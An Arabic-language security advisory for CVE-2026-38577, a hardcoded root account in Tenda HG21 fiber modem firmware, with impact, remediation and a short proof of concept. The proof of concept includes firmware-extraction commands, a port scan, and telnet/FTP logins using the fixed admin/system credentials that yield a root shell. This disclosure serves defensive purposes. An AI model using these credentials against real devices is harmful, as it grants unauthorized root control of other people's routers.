CVE-2026-38577 — بيانات اعتماد الجذر الثابتة في Tenda HG21

الملخص

الوصف

كشف تحليل البرنامج الثابت لمودم Tenda HG21 XPON للألياف الضوئية عن حساب إداري ثابت مدمج في صورة البرنامج الثابت المشحونة. يُمنح الحساب صلاحيات جذر كاملة (UID 0) وبيانات اعتماده ثابتة عبر جميع الأجهزة، مما يعني أن أي مهاجم يمكنه الوصول إلى خدمة إدارة مكشوفة على جهاز ضعيف يمكنه المصادقة كجذر دون الحاجة إلى معرفة كلمة مرور واجهة الويب التي يحددها العميل.

أين تم العثور عليه

• /etc/passwd في البرنامج الثابت المستخرج يحتوي على إدخال admin مع تجزئة كلمة مرور SHA256crypt تتطابق مع القيمة الثابتة system.
• UID الخاص بالحساب هو 0 — أي أنه هو الجذر، وليس حساب خدمة مقيدًا.
• لا يوجد /etc/shadow، لذا فإن التجزئة الضعيفة/الثابتة في passwd هي البوابة الوحيدة التي تحمي الحساب.
• /etc/inetd.conf يشغّل telnetd وftpd، وكلاهما يُطلق كجذر، لذا يمكن الوصول إلى الحساب الثابت عبر الشبكة، وليس فقط عبر وحدة تحكم تسلسلية/UART.
• يتم تقديم واجهة إدارة الويب عبر HTTP عادي فقط (بدون TLS)، وهو فجوة تحصين ثانوية لكنه ليس في حد ذاته CVE.

التأثير

يمكن للمهاجم الذي لديه وصول شبكي إلى خدمة telnet (TCP/23) أو FTP (TCP/21) لجهاز ضعيف تسجيل الدخول كـ admin باستخدام كلمة المرور الثابتة والحصول على قشرة جذر / وصول إلى ملفات بمستوى الجذر. وهذا يسمح، على الأقل، بـ:

• تنفيذ التعليمات البرمجية — قشرة جذر عبر telnet.
• تصعيد الامتيازات — لا يوجد حد للامتيازات؛ الحساب يبدأ كجذر.
• كشف المعلومات — وصول كامل لنظام الملفات/الإعدادات، بما في ذلك أي بيانات اعتماد شبكة للعميل مخزنة على الجهاز.

متجهات CVSS من التقديم الأصلي (قد يختلف تقييم البائع بمجرد النشر):

• متجه الهجوم: شبكة
• الامتيازات المطلوبة: لا شيء (بيانات الاعتماد ثابتة/معروفة)
• تفاعل المستخدم: لا شيء
• السرية / النزاهة / التوفر: عالية / عالية / عالية

إثبات المفهوم

هذا إثبات مفهوم قائم على بيانات الاعتماد — يوضح أن الحساب الثابت يتحقق من المصادقة ويمنح صلاحيات الجذر، وليس استغلال تلف في الذاكرة. قم بتشغيل هذا فقط ضد جهاز تملكه أو مصرح لك باختباره صراحةً.

1. تأكيد وجود بيانات الاعتماد في البرنامج الثابت

# استخراج البرنامج الثابت (binwalk أو أداة البائع التي تختارها)
binwalk -e US_HG21re_300002982_en_xpon_2.bin

# تحديد موقع ملف passwd وفحصه
find . -name passwd
cat squashfs-root/etc/passwd
# -> admin:<sha256crypt-hash-of-"system">:0:0:root:/root:/bin/sh

2. تأكيد أن الخدمة قابلة للوصول

nmap -p 21,23 <target-ip>

3. المصادقة باستخدام الحساب الثابت

telnet <target-ip>
# login: admin
# password: system

ftp <target-ip>
# Name: admin
# Password: system

تسجيل الدخول الناجح على أي من الخدمتين يعيد جلسة قشرة/FTP بصلاحيات جذر (سيُظهر id أن uid=0(root)).

المعالجة

• يجب على البائع إزالة حساب admin/system الثابت بالكامل، أو على الأقل فرض كلمة مرور عشوائية فريدة لكل جهاز تُعيّن عند أول تشغيل (لا يمكن اشتقاقها من الرقم التسلسلي وحده).
• تعطيل telnetd/ftpd افتراضيًا؛ وطلب اشتراك صريح وقناة مشفرة ومصادق عليها (SSH/SFTP) للإدارة عن بُعد.
• تقديم واجهة الإدارة عبر HTTPS فقط.
• تدوير بيانات الاعتماد الثابتة في أي وحدات منشورة بالفعل عبر تحديث برنامج ثابت إلزامي، وفرض إعادة تعيين كلمة المرور عند التحديث.

الجدول الزمني

الاعتمادات

اكتشف وأبلغ:

• Anmol Singh Rajput — LinkedIn
• Deepak G — LinkedIn

المراجع

• https://www.tenda.com.cn
• https://cwe.mitre.org/data/definitions/798.html